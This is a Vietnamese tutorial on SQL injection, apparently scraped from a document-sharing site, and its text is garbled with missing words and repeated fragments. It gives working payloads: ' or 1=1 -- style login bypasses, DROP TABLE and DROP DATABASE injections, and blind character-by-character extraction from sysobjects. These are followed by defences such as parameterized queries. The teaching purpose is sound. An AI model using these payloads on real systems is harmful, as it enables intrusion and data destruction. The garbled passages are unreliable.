Hướng dẫn Injection lab

7 15 0
  • Loading ...
1/7 trang

Thông tin tài liệu

Ngày đăng: 13/07/2019, 01:48

TÀI LIỆU HƯỚNG DẪN SQL INJECTION Tổng Quan a Định nghĩa SQL injection kĩ thuật cho phép kẻ công thi hành câu lệnh truy vấn SQL bất hợp pháp (không người phát triển lường trước) cách lợi dụng lỗ hổng việc kiểm tra liệu nhập ứng dụng web Hậu tai hại cho phép kẻ cơng thực thao tác xóa, hiệu chỉnh, … có tồn quyền sở liệu ứng dụng Lỗi thường xảy ứng dụng web có liệu quản lí hệ quản trị CSDL SQL Server, Oracle, DB2,Sysbase b Phân loại SQL Injection Là lỗi thuộc câu lệnh truy vấn SQL trực tiếp vào database ta nhìn thấy suy đoán Blind SQL Injection Nguyên nhân Đa phần lỗi sql injection từ người lập trình, ngun nhân gây lỗi dễ bị khai thác : a Không kiểm tra ký tự truy vấn.: Đây dạng lỗi SQL injection xảy thiếu đoạn mã kiểm tra liệu đầu vào câu truy vấn SQL Kết người dùng cuối thực số truy vấn không mong muốn sở liệu ứng dụng Dòng mã sau minh họa lỗi này: statement = "SELECT * FROM users WHERE name = '" + userName + "';" Câu lệnh thiết kế để trả ghi tên người dùng cụ thể từ bảng người dùng Tuy nhiên, biến "userName" nhập xác theo cách người dùng ác ý, trở thành câu truy vấn SQL với mục đích khác hẳn so với mong muốn tác giả đoạn mã Ví dụ, ta nhập vào giá trị biến userName sau: b Sử lý không kiểu Lỗi SQL injection dạng thường xảy lập trình viên hay người dùng định nghĩa đầu vào liệu không rõ ràng thiếu bước kiểm tra lọc kiểu liệu đầu vào Điều xảy trường số sử dụng truy vấn SQL lập trình viên lại thiếu bước kiểm tra liệu đầu vào để xác minh kiểu liệu mà người dùng nhập vào có phải số hay khơng Ví dụ sau: statement := "SELECT * FROM data WHERE id = " + a_variable + ";" Ta nhận thấy cách rõ ràng ý định tác giả đoạn mã nhập vào số tương ứng với trường id - trường số Tuy nhiên, người dùng cuối, thay nhập vào số, họ nhập vào chuỗi ký tự, trở thành câu truy vấn SQL hoàn chỉnh mà bỏ qua ký tự Ví dụ, ta thiết lập giá trị biến a_variable là: 1;DROP TABLE users đó, thực thao tác xóa người dùng có id tương ứng khỏi sở liệu, câu truy vấn hoàn chỉnh hiểu là: SELECT * FROM DATA WHERE id = 1;DROP TABLE users; c Lỗi bảo mật bên máy chủ CSDL Đôi lỗ hổng tồn phần mềm máy chủ sở liệu, trường hợp hàm mysql_real_escape_string() máy chủ MySQL Điều cho phép kẻ cơng thực công SQL injection thành công dựa ký tự Unicode không thông thường đầu nhập vào thoát d Blind SQL injection Cách công, Cách phát a SQL Injection Cách phát - Phát qua thay đổi QueryString Thơng thường để kiểm tra lỗi SQL injection dạng thứ nhất, ta thường thêm dấu ' (dấu nhấy) vào phía sau địa có dạng: user.php?id=1 user.php?id= vd: http://site.com/user.php?id=1' http://site.com/user.php?id=' Tương tự, form nhập như, Tìm kiếm, đăng nhập test thử nhập với dấu nháy đơn submit - Sử dụng số Tool để scan Url xem có bị lỗi SQL Injection hay không a Cách công Đầu tiên, Tìm kiếm trang bị lỗi SQL Injection Sử dụng cách phát để tìm trang bị dính lỗi SQL Injection VD - Cách công a VD1 Tấn công qua QueryString http://yoursite.com/index.aspx?category=food VD Như trang nhận vào show Query “category=food” để hiển thị danh sách sản phẩm thuộc danh mục có tên = food VD code có dạng String catQuery = Request.QueryString[“catetogy”]; String strQuery = “Select * from tblProduct where ProductCat = ‘”+catQuery +”’” … excute DB Đoạn xâu “food” truyên vào câu truy vấn đề lấy liệu Trong ví dụ catQuery food Câu query DB trở thành Select * from tblProduct where ProductCat = ‘food’ Dòng query trả tập resultset chứa nhiều dòng phù hợp với điều kiện WHERE ProductCat =' food' Nếu thay đổi URL thành http://yoursite.com/index.aspx?category=food' or 1=1 , biến catQuery chứa giá trị "food' or 1=1 " dòng lệnh SQL query là: SELECT * FROM tblProduct WHERE ProductCat ='food' or 1=1 ' Dòng query select thứ bảng product bất chấp giá trị trường PCategory có 'food' hay khơng Hai dấu gạch ngang ( ) cho MS SQL server biết hết dòng query, thứ lại sau " " bị bỏ qua Nguy hiểm xóa bảng, DropDB VD Như khai thác SQL injection ta biết tên database, tên bảng cột bảng giả sử ta biết tên Database ShopExam Có thể drop database qua query string : http://yoursite.com/index.aspx?category=food'; drop database ShopExam -lúc câu truy vấn SELECT * FROM tblProduct WHERE ProductCat ='food' drop database ShopExam Ngoài ta chèn thêm câu lệnh SQL Update, Insert Record chứa thông tin Admin để sử dụng liệu vừa thêm ( update ) để đăng nhập vào site b VD2 Tấn công vượt quyền đăng nhập - Với dạng công này, tin tặc dễ dàng vượt qua trang đăng nhập nhờ vào lỗi dùng câu lệnh SQL thao tác sở liệu ứng dụng web - Xét ví dụ điển hình, thông thường phép người dùng truy cập vào trang web bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin tên đăng nhập mật Sau người dùng nhập thông tin vào, hệ thống kiểm tra tên đăng nhập mật có hợp lệ hay không để định cho phép hay từ chối thực tiếp - Trong trường hợp này, người ta dùng hai trang, trang HTML để hiển thị form nhập liệu trang ASPX dùng để xử lí thơng tin nhập từ phía người dùng Ví dụ: Login.aspx Username Password Login.aspx.cs SqlConnection cnn = DataConnect.getConnection(); cnn.Open(); SqlCommand cmd = new SqlCommand("select * from tbluser where userName = '" + txtUsername.Text.Trim() + "' And UserPassword = '" + txtPassword.Text.Trim() + "'", cnn); SqlDataReader rs = cmd.ExecuteReader(); if (rs.HasRows) { while (rs.Read()) { ltlMsg.Text = "Đăng nhập thành công : Username: " + rs["userName"].ToString() + ""; break; } } else { ltlMsg.Text = "Sai tài khoản mật khẩu"; } cnn.Close(); - VD Nếu ta nhập vào ô Username password với value : ' OR '1' = '1 Lúc câu truy vấn SqlCommand có dạng select * from tbluser where userName = '' OR '1' = '1' And UserPassword = '' OR '1' = '1' b Blind SQL injection Cách phát : a Test thử qua xâu truy vấn Phát lỗi "blind sql injection": Ví dụ ta có URL sau : http://www.company.com/pressRelease.jsp?pressID=5 câu lệnh SQL thực : SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5 để xác định xem có bị dinh lỗi blind sql injection ko ta thử thêm vào điều kiện Ví dụ như: http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1 database server thực lệnh SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5 AND 1=1 ta trả vị trí http://www.company.com/pressRelease.jsp?pressID=5 có nghĩa dính lỗi b Sử dụng Tool để scan Cách khai thác lỗi Bây đốn thơng tin database việc thực hiên câu hỏi sai với server Ví dụ : ta hỏi server xem " có phải user dbo ko?" cách : http://www.company.com/pressRelease.jsp?pressID=5 AND USER_NAME()='dbo' ( USER_NAME() hàm SQL Server trả tên user ) Nếu user tai 'dbo' trả http://www.company.com/pressRelease.jsp? pressID=5 ko ko có trang trả Bằng cách so sanh câu hỏi nhỏ với hàm ta hỏi nhiều câu phức tạp Sau ví dụ cách lấy tên table ( chữ ) : http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP name FROM sysobjects WHERE xtype='U'), 1,1)))>109     Lệnh SELECT yêu cầu tên table database Hàm substring() trả chữ kết câu lện Hàm lower() đơn giản chuyển kí tự thành kiêu chữ thường, ko viết hoa Hàm ascii() trả giá trị ASCII kí tự Nếu server ko báo lỗi biết tên table chữ sau chữ "m" ( bảng mã giá trị chữ "m" 109 ) Tiếp theo : http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP name FROM sysobjects WHERE xtype='U'), 1,1)))>116 Nếu báo lỗi tức ta biết giá trị ASCII kí tự nằm khoảng từ chữ "n" đến chữ "t" ( giá trị t 116) Cứ thu hẹp dần ta giá trị kí tự nằm khoảng "n" "o" ( 110 111) Tiếp theo: http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP name FROM sysobjects WHERE xtype='U'), 1,1)))=111 Server ko báo lỗi mà trở trang http://www.company.com/pressRelease.jsp?pressID=5 < ta biết kí tự table "o" Đốn tiếp kí tự thứ ta làm sau : http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP name FROM sysobjects WHERE xtype='U'), 2,1)))>109 (chú ý ta phải đổi đối số từ sang ) làm lại , dần dân ta nhân tên đầy đủ table ( ví dụ "orders") Bộ kí tự ASCII gồm 256 kí tự phân bố sau: + 32 kí tự đầu kí tự điều khiển ko in ví dụ kí tự ENTER ( mã 13) , ký tự ESC ( mã 27) + mã 32-47,58-64,91-96 123-127 kí tữ đặc biệt dấu chấm, chấm phẩy , dấu ngoặc , móc , hỏi + mã 48-57 10 chữ số + mã 65-90 chữ hoa A->Z + kí tự 97-122 chữ thường a->z + mã ASSCII kí tự đồ họa Mức độ ảnh hưởng a Mất liệu & sai lệch liệu bị chèn liệu thiếu tính đắn Vì chất SQL Injection cơng vào Database, database bị công, phải đối mắt với rủi ro lớn : Bị drop Database, DropTable Bị & thất thơng tin nhạy cảm Bị thay đổi thơng tin, sai lệch thông tin Bị chiếm quyền Admin … Cách phòng chống a Kiểm tra tính đắn liệu : Ví dụ, ta có query string có dạng : /Product.aspx?ID=100 Lấy ID qua querystring để get liệu tương ứng biến get liệu nên để dạng Int ép kiểu kiểu cần thiết int _ID; try { _ID = Convert.ToInt32(Request.QueryString["ID"]); } catch { _ID = 0; } b Loại bỏ ký tự nháy đơn câu truy vấn query Có thể sử dụng Regular Replace code để vô hiệu hóa câu truy vấn có chứa đến từ khóa DB, đặc biệt dấu nháy đơn c Sử dụng Parameters OleDbCommand thay cho câu truy vấn trực tiếp Việc sử dụng Parameters NET thân tự kiểm tra tính đắn liệu chống Injection VD SqlCommand cmd = new SqlCommand("select * from tbluser where userName = @Username And UserPassword = @UserPassword", cnn); cmd.Parameters.Add(new SqlParameter("@Username", System.Data.SqlDbType.NVarChar)); cmd.Parameters.Add(new SqlParameter("@UserPassword", System.Data.SqlDbType.NVarChar)); cmd.Parameters["@Username"].Value = txtUsername.Text.Trim(); cmd.Parameters["@UserPassword"].Value = txtPassword.Text.Trim(); d Chỉ sử dụng Store cần thiết, xóa Store khơng dùng DB master : xp_cmdshell xp_startmail xp_sendmail sp_makewebtask e Không nên sử dụng user SA, Nếu truy vấn liệu set quyền Permisstion cho user đọc DB cần thiết 6 Demo link tham khảo a Code Project kèm theo Codeproject kèm theo có code demo lỗi sqlinjection cách phòng chống b Các trang demo hướng dẫn cách thức cơng, phòng tránh http://unixwiz.net/techtips/sql-injection.html http://msdn.microsoft.com/en-us/library/ms161953.aspx http://sqlzoo.net/hack/ Tool hỗ trợ & test a Test tay Test thủ công cách thêm dấu nháy đơn vào xây truy vấn, form nhập liệu b SQL Injection Add On Firefox Tool hỗ trợ kiểm tra test lỗi SQL injection tích hợp firefox Download địa : https://addons.mozilla.org/vi/firefox/addon/6727/ c BSQL Hacker Tool hỗ trợ scan SQL Injection, xem video hướng dẫn download địa : http://labs.portcullis.co.uk/application/bsql-hacker/ ... Codeproject kèm theo có code demo lỗi sqlinjection cách phòng chống b Các trang demo hướng dẫn cách thức cơng, phòng tránh http://unixwiz.net/techtips/sql -injection. html http://msdn.microsoft.com/en-us/library/ms161953.aspx... Tool để scan Url xem có bị lỗi SQL Injection hay không a Cách công Đầu tiên, Tìm kiếm trang bị lỗi SQL Injection Sử dụng cách phát để tìm trang bị dính lỗi SQL Injection VD - Cách công a VD1 Tấn... Điều cho phép kẻ cơng thực công SQL injection thành công dựa ký tự Unicode không thông thường đầu nhập vào thoát d Blind SQL injection Cách công, Cách phát a SQL Injection Cách phát - Phát qua thay
- Xem thêm -

Xem thêm: Hướng dẫn Injection lab, Hướng dẫn Injection lab

Gợi ý tài liệu liên quan cho bạn